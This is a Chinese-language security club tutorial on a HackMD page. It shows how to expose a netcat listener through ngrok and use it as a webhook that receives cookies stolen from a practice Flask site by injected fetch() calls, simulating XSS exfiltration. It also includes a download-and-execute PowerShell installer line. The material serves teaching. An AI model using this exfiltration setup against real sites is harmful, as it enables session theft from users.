sunfrancis12
    • Create new note
    • Create a note from template
      • Sharing URL Link copied
      • /edit
      • View mode
        • Edit mode
        • View mode
        • Book mode
        • Slide mode
        Edit mode View mode Book mode Slide mode
      • Customize slides
      • Note Permission
      • Read
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Write
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Engagement control Commenting, Suggest edit, Emoji Reply
    • Invite by email
      Invitee

      This note has no invitees

    • Publish Note

      Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note

      Your note will be visible on your profile and discoverable by anyone.
      Your note is now live.
      This note is visible on your profile and discoverable online.
      Everyone on the web can find and read all notes of this public team.
      See published notes
      Unpublish note
      Please check the box to agree to the Community Guidelines.
      View profile
    • Commenting
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
      • Everyone
    • Suggest edit
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
    • Emoji Reply
    • Enable
    • Versions and GitHub Sync
    • Note settings
    • Note Insights New
    • Engagement control
    • Transfer ownership
    • Delete this note
    • Save as template
    • Insert from template
    • Import from
      • Dropbox
      • Google Drive
      • Gist
      • Clipboard
    • Export to
      • Dropbox
      • Google Drive
      • Gist
    • Download
      • Markdown
      • HTML
      • Raw HTML
Menu Note settings Note Insights Versions and GitHub Sync Sharing URL Create Help
Create Create new note Create a note from template
Menu
Options
Engagement control Transfer ownership Delete this note
Import from
Dropbox Google Drive Gist Clipboard
Export to
Dropbox Google Drive Gist
Download
Markdown HTML Raw HTML
Back
Sharing URL Link copied
/edit
View mode
  • Edit mode
  • View mode
  • Book mode
  • Slide mode
Edit mode View mode Book mode Slide mode
Customize slides
Note Permission
Read
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Write
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Engagement control Commenting, Suggest edit, Emoji Reply
  • Invite by email
    Invitee

    This note has no invitees

  • Publish Note

    Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note

    Your note will be visible on your profile and discoverable by anyone.
    Your note is now live.
    This note is visible on your profile and discoverable online.
    Everyone on the web can find and read all notes of this public team.
    See published notes
    Unpublish note
    Please check the box to agree to the Community Guidelines.
    View profile
    Engagement control
    Commenting
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    • Everyone
    Suggest edit
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    Emoji Reply
    Enable
    Import from Dropbox Google Drive Gist Clipboard
       Owned this note    Owned this note      
    Published Linked with GitHub
    • Any changes
      Be notified of any changes
    • Mention me
      Be notified of mention me
    • Unsubscribe
    使用nc&ngork實作webhook === 作者: [台中教育大學 白帽社](https://hackmd.io/@ntcuhack/index) -sunfrancis12 ## ngrok ### ngrok簡介 > ngrok是個知名的內網穿透雲端服務,意思是說你的設備不需要Public IP,透過他的Agent建立Tunnel將服務暴露到外網上 > > 引用自:[沒有Public IP也能架站(1) — ngrok -周詳 🇹🇼](https://medium.com/chouhsiang/%E6%B2%92%E6%9C%89public-ip%E4%B9%9F%E8%83%BD%E6%9E%B6%E7%AB%99-1-ngrok-133a2cf3c359) ### 公有IP(public ip)&私有IP(private ip) **私有IP(private ip)** > 我們企業或家庭內部組建區域網用的IP,一般都會用私有IP。 > > 私有地址(Private address,也可稱為專網地址)屬於非註冊地址,專門為組織機構內部使用,它是區域網範疇內的 > > 如果在內網要訪問Internet,則需要用“NAT技術”將私網IP轉成公網IP才能正常的上網。 **公有IP(Public ip)** > 公有地址(Public address,也可稱為公網地址)由Internet NIC(Internet Network Information Center因特網資訊中心)負責。這些IP地址分配給註冊並向Internet NIC提出申請的組織機構(通常是ISP)。 > > 一般大眾如果要有Public ip的話,需要去向“電信運營商ISP”申請一個接入Internet的寬頻,同時ISP還會給我們分配一個或多個IP地址,這些IP地址可以供我們企業內部上網,這些ISP分配給我們的IP,就是公有IP。 以上資料修改自: [公有IP和私有IP -阿新](https://www.796t.com/content/1544796362.html) ### What is Tunnel > 隧道 (tunnel),是將兩個連線之間的 代理 (proxy) 做為盲中繼 (blind relay) > > 原理是藉由一或多個 代理 (proxy),建立 端與端之間的 虛擬連線 (virtual connection),在連線的兩端之間發送封包,而不改變訊息,直到其中一端結束連線,關閉隧道。 > > 引用自: [HTTP 代理 (proxy)、隧道 (tunnel) 與 閘道 (gateway) -鄭中勝](https://notfalse.net/50/http-intermediary) 簡單來說,我們多了一個或多個**中間人**,像大隊接力一樣,藉由**接力**的方式來幫我們傳遞訊息 ![](https://hackmd.io/_uploads/BJ-f-Lqxa.png) ### 註冊ngrok帳號 首先我們要到ngrok[官網](https://ngrok.com/)註冊帳號,註冊完後根據自己的系統選擇要如何執行和安裝 ![](https://hackmd.io/_uploads/rk8iL4FlT.png) ### ngrok安裝(Ubuntu) 根據官網提供的指令進行安裝 :::info Ubuntu 16.04後都有內建snap,大家可以用snap下載 ::: ![](https://hackmd.io/_uploads/rkJTPEFlT.png) :::danger 注意: authtoken絕對不能外洩,那串TOKEN就是代表你帳號的身分證 ::: ### ngrok安裝(Windows7以上) 打開`powshell`,並以系統管理員的身分執行 測使是否為系統管理員身分 ``` Get-ExecutionPolicy ``` ![](https://hackmd.io/_uploads/B1OyG5YeT.png) 安裝Chocolatey ``` Set-ExecutionPolicy Bypass -Scope Process -Force; iex ((New-Object System.Net.WebClient).DownloadString('https://chocolatey.org/install.ps1')) ``` ![](https://hackmd.io/_uploads/HypffcKxp.png) 確認是否安裝完成 ``` choco ``` ![](https://hackmd.io/_uploads/B1ISfqtlT.png) > 參考至: [[軟體操作] chocolatey 好用的軟體安裝工具 on windows](https://www.nvda.org.tw/refined/ui=2004100000tm=1989344034) **回到官網,按照官網的指示安裝** ![](https://hackmd.io/_uploads/HJnsDvSb6.png) ``` choco install ngrok ``` ``` ngrok config add-authtoken {your Token} ``` ### ngrok啟動 輸入指令讓你的服務上架吧 ``` ngrok tcp 5000 ``` 指令格式: ``` ngrok {協定} {port} ``` 完成後會出現以下畫面 ![](https://hackmd.io/_uploads/HyyIVUKga.png) ## netcat ### netcat簡介 > nc (netcat) 是 Linux 系統中十分好用的 TCP/UDP 網路程式,從它的 man page 裡面就可以發現 nc 其實有很多種用途,例如通訊埠掃描(port scan)、檔案傳輸、聊天,甚至是透過遠端執行 Shell 都可以。 > > 引用自: [Linunx 指令 nc 用法 -Amo Chen](https://myapollo.com.tw/blog/linux-command-nc/) ### netcat安裝(Ubuntu) 通常nc系統會自動幫你先安裝好了,如果沒有的話可以用apt安裝 ``` sudo apt install netcat ``` 測試使否安裝成功 ``` netcat ``` ![](https://hackmd.io/_uploads/rJKhgYseT.png) ### netcat安裝(Win7以上) 我們可以直接使用我們剛剛安裝好的Chocolatey進行安裝 ``` choco install netcat ``` 測試是否安裝成功 ``` nc -h ``` ![](https://hackmd.io/_uploads/BJVFxYigT.png) ### 在server端開啟netcat 在本地`(server端)`開啟一個監聽服務 ``` sudo nc -l -p 5000 ``` 指令格式: ``` nc -l(監聽模式) -k(強制保持服務) -p {port} ``` ### 在客戶端(Clinet)用netcat連線 跟伺服器搭起連線吧: ``` nc 0.tcp.jp.ngrok.io 15306 ``` :::info 15306是取自剛剛上面ngork給我們分配的port,每次啟動ngork服務都會有所不同 ![](https://hackmd.io/_uploads/B1APjUFgp.png) ::: 指令格式: ``` nc {host} {port} ``` ### 範例: 跟自己聊聊吧 **server伺服器端** ![](https://hackmd.io/_uploads/HyWeiLtlT.png) **Clinet客戶端** ![](https://hackmd.io/_uploads/SJ-WiUFga.png) ## Webhook ### 什麼是webhook > 網頁開發中的Webhook(Webhook)是一種通過自訂回呼函數來增加或更改網頁表現的方法。這些回呼可被可能與原始網站或應用相關的第三方使用者及開發者儲存、修改與管理。術語「Webhook」由傑夫·林德塞(Jeff Lindsay)於2007年通過給電腦編程術語「掛鉤」(Hook)加上字首得來。 > > 引用自 [維基百科](https://zh.wikipedia.org/zh-tw/%E7%BD%91%E7%BB%9C%E9%92%A9%E5%AD%90) **透過ngrok實現webhook** 假設駭客透過某些手法(例如[XSS](https://tech-blog.cymetrics.io/posts/jo/zerobased-cross-site-scripting/)),成功在受害者網站(Server)上植入了腳本(script)或者程式碼,而該程式碼會將程式碼竊取到的資料傳送給某一個伺服器(Web hook) ![](https://hackmd.io/_uploads/HyuuaIqxa.png) 想要模仿上述攻擊行為,我們需要有一個host,準確來說是一個目的地 (destination) ,來接收我們想要的資訊 我們可以使用我們透過ngrok上架的host,用於他是暴露於外網中的,因此我們可以從外網任意的地方都是抓的到他的host位址 ## webhook實作準備 :::info 這裡建議大家使用兩台電腦或者在電腦裡開啟不同的虛擬機,以達到上述圖片兩個獨立server的效果,操作起來也比較直觀 ::: ### 設定webhook的server 啟動ngrok ``` ngrok http 80 ``` 設定nc監聽port ``` sudo nc -l -k 80 ``` > 參考自: [ncat 指令](https://nirvana1997.github.io/ncat%E6%8C%87%E4%BB%A4/) ### 用Flask架一個網站(受害者Server) 我們架設一個受害者網站,當作是我們想要偷取資料的目標。 在使用Flask之前,我們必須先安裝Flask ``` pip install flask ``` 可以下載我幫各位預先寫好的程式 > https://github.com/sunfrancis12/webhook_example 下載完成後,進到資料夾並在terminal輸入指令啟動flask ``` flask run ``` ![](https://hackmd.io/_uploads/r19jUcYe6.png) 在瀏覽器搜尋 `http://127.0.0.1:5000`,看看是否成功 ![](https://hackmd.io/_uploads/HkWCwcKxa.png) ### 修改程式 我們需要將所有`.html`檔案(共三個)的`fetch`修改自己的ngrok伺服器的hostname ```javascript fetch('{你的ngrok hostname}}' ``` **fetch指令介紹** > fetch()是一個全域的方法,包含了需要 fetch 的網址和對應的屬性設定 ( 例如 method、headers、mode、body...等,最基本的寫法屬性不一定要填 ),執行之後會送出 Request > > 引用自: [JavaScript Fetch API 使用教學](https://www.oxxostudio.tw/articles/201908/js-fetch.html) 我們就是利用fetch()指令來對server發送request(請求) ### 重啟Flask 完成程式碼的修改後,需要在重啟一次flask ``` flask run ``` ## webhook演練 ### 對webhook發送訊息 在`http://127.0.0.1:5000`,我們按下`發送訊息`的按鈕 ![](https://hackmd.io/_uploads/HkWCwcKxa.png) 回到我們的webhook server(啟動ngrok的那台主機),可以看到我們收到了一個訊息 ![](https://hackmd.io/_uploads/HJDa7P9xT.png) ### 對webhook發送cookie內容 在`http://127.0.0.1:5000/cookie`,我們按下`獲取cookie`的按鈕 ![](https://hackmd.io/_uploads/Sk3T0ccxp.png) F12打開Google開發者模式,選取`Application`(應用程式)欄位可以看到我們獲得一個cookie ![](https://hackmd.io/_uploads/r1EORc9eT.png) 按下`送出cookie`的按鈕 ![](https://hackmd.io/_uploads/SJ5Wyjcxa.png) 在Webhook server這邊,可以看到我們收到了cookie的內容 ![](https://hackmd.io/_uploads/S1nxesql6.png) **修改cookie** 我們也可以試試更改cookie內容,按下`送出cookie`的按鈕 ![](https://hackmd.io/_uploads/Hk8iZo5l6.png) 在Webhook server這邊,可以看到我們收到了cookie的內容 ![](https://hackmd.io/_uploads/S1j7foqlp.png) ### 直接搶走cookie 進入`http://127.0.0.1:5000/steal` ![](https://hackmd.io/_uploads/S1q_loqeT.png) 在Webhook server這邊,可以看到我們收到了cookie的內容 ![](https://hackmd.io/_uploads/rJWm-scxa.png)

    Import from clipboard

    Paste your markdown or webpage here...

    Advanced permission required

    Your current role can only read. Ask the system administrator to acquire write and comment permission.

    This team is disabled

    Sorry, this team is disabled. You can't edit this note.

    This note is locked

    Sorry, only owner can edit this note.

    Reach the limit

    Sorry, you've reached the max length this note can be.
    Please reduce the content or divide it to more notes, thank you!

    Import from Gist

    Import from Snippet

    or

    Export to Snippet

    Are you sure?

    Do you really want to delete this note?
    All users will lose their connection.

    Create a note from template

    Create a note from template

    Oops...
    This template has been removed or transferred.
    Upgrade
    All
    • All
    • Team
    No template.

    Create a template

    Upgrade

    Delete template

    Do you really want to delete this template?
    Turn this template into a regular note and keep its content, versions, and comments.

    This page need refresh

    You have an incompatible client version.
    Refresh to update.
    New version available!
    See releases notes here
    Refresh to enjoy new features.
    Your user state has changed.
    Refresh to load new user state.

    Sign in

    Forgot password

    or

    By clicking below, you agree to our terms of service.

    Sign in via Facebook Sign in via Twitter Sign in via GitHub Sign in via Dropbox Sign in with Wallet
    Wallet ( )
    Connect another wallet

    New to HackMD? Sign up

    Help

    • English
    • 中文
    • Français
    • Deutsch
    • 日本語
    • Español
    • Català
    • Ελληνικά
    • Português
    • italiano
    • Türkçe
    • Русский
    • Nederlands
    • hrvatski jezik
    • język polski
    • Українська
    • हिन्दी
    • svenska
    • Esperanto
    • dansk

    Documents

    Help & Tutorial

    How to use Book mode

    Slide Example

    API Docs

    Edit in VSCode

    Install browser extension

    Contacts

    Feedback

    Discord

    Send us email

    Resources

    Releases

    Pricing

    Blog

    Policy

    Terms

    Privacy

    Cheatsheet

    Syntax Example Reference
    # Header Header 基本排版
    - Unordered List
    • Unordered List
    1. Ordered List
    1. Ordered List
    - [ ] Todo List
    • Todo List
    > Blockquote
    Blockquote
    **Bold font** Bold font
    *Italics font* Italics font
    ~~Strikethrough~~ Strikethrough
    19^th^ 19th
    H~2~O H2O
    ++Inserted text++ Inserted text
    ==Marked text== Marked text
    [link text](https:// "title") Link
    ![image alt](https:// "title") Image
    `Code` Code 在筆記中貼入程式碼
    ```javascript
    var i = 0;
    ```
    var i = 0;
    :smile: :smile: Emoji list
    {%youtube youtube_id %} Externals
    $L^aT_eX$ LaTeX
    :::info
    This is a alert area.
    :::

    This is a alert area.

    Versions and GitHub Sync
    Get Full History Access

    • Edit version name
    • Delete

    revision author avatar     named on  

    More Less

    Note content is identical to the latest version.
    Compare
      Choose a version
      No search result
      Version not found
    Sign in to link this note to GitHub
    Learn more
    This note is not linked with GitHub
     

    Feedback

    Submission failed, please try again

    Thanks for your support.

    On a scale of 0-10, how likely is it that you would recommend HackMD to your friends, family or business associates?

    Please give us some advice and help us improve HackMD.

     

    Thanks for your feedback

    Remove version name

    Do you want to remove this version name and description?

    Transfer ownership

    Transfer to
      Warning: is a public team. If you transfer note to this team, everyone on the web can find and read this note.

        Link with GitHub

        Please authorize HackMD on GitHub
        • Please sign in to GitHub and install the HackMD app on your GitHub repo.
        • HackMD links with GitHub through a GitHub App. You can choose which repo to install our App.
        Learn more  Sign in to GitHub

        Push the note to GitHub Push to GitHub Pull a file from GitHub

          Authorize again
         

        Choose which file to push to

        Select repo
        Refresh Authorize more repos
        Select branch
        Select file
        Select branch
        Choose version(s) to push
        • Save a new version and push
        • Choose from existing versions
        Include title and tags
        Available push count

        Pull from GitHub

         
        File from GitHub
        File from HackMD

        GitHub Link Settings

        File linked

        Linked by
        File path
        Last synced branch
        Available push count

        Danger Zone

        Unlink
        You will no longer receive notification when GitHub file changes after unlink.

        Syncing

        Push failed

        Push successfully